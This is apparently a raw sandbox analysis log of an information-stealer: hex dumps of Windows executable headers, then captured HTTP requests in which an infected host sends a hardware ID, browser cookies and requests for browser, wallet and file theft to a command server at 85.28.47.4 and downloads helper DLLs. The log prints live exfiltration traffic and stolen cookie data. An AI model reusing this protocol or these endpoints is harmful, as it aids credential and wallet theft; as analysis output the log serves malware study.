cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 27 Jun 2024 05:37:21 GMTContent-Type: application/octet-streamContent-Length: 1903104Last-Modified: Thu, 27 Jun 2024 04:21:42 GMTConnection: keep-aliveETag: "667ce8d6-1d0a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1c 13 50 4a 58 72 3e 19 58 72 3e 19 58 72 3e 19 03 1a 3d 18 56 72 3e 19 03 1a 3b 18 f8 72 3e 19 8d 1f 3a 18 4a 72 3e 19 8d 1f 3d 18 4e 72 3e 19 8d 1f 3b 18 2d 72 3e 19 03 1a 3a 18 4c 72 3e 19 03 1a 3f 18 4b 72 3e 19 58 72 3f 19 8c 72 3e 19 c3 1c 37 18 59 72 3e 19 c3 1c c1 19 59 72 3e 19 c3 1c 3c 18 59 72 3e 19 52 69 63 68 58 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 57 59 50 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 dc 04 00 00 c4 01 00 00 00 00 00 00 70 4b 00 00 10 00 00 00 f0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 13 f2 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 80 06 00 6a 00 00 00 00 70 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 51 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 50 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 06 00 00 10 00 00 00 d8 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 70 06 00 00 02 00 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6f 61 77 6c 66 79 79 00 00 1a 00 00 60 31 00 00 f4 19 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6e 6b 72 76 63 76 68 00 10 00 00 00 60 4b 00 00 06 00 00 00 e2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4b 00 00 22 00 00 00 e8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFBFBGHDGDAKECAKJEHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 42 38 43 44 38 35 31 36 39 32 41 33 32 34 35 37 38 32 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 2d 2d 0d 0a Data Ascii: ------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="hwid"DB8CD851692A3245782482------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="build"default------CGCFBFBGHDGDAKECAKJE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEBHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 2d 2d 0d 0a Data Ascii: ------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="message"browsers------HCAAEGIJKEGHIDGCBAEB--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEHHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 2d 2d 0d 0a Data Ascii: ------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="message"plugins------DAEGIDHDHIDGIEBGIJEH--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJKHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="message"fplugins------CFIEHCFIECBGCBFHIJJK--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJJEGDBFIIDGCAKJEBKHost: 85.28.47.4Content-Length: 7343Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEBHost: 85.28.47.4Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 2d 2d 0d 0a Data Ascii: ------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12Z
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJDHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 2d 2d 0d 0a Data Ascii: ------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="file"------CBKJJJDHDGDAAKECAKJD--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGHHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="file"------FBGHCGCAEBFIJKFIDBGH--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGDAAKFHIEHIECAFBAAHost: 85.28.47.4Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJKHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="message"wallets------HDAFBAEBKJKFIDHJJKJK--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCBFBGDBKJKECAAKKFHHost: 85.28.47.4Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------CFCBFBGDBKJKECAAKKFHContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------CFCBFBGDBKJKECAAKKFHContent-Disposition: form-data; name="message"files------CFCBFBGDBKJKECAAKKFH--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJHost: 85.28.47.4Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 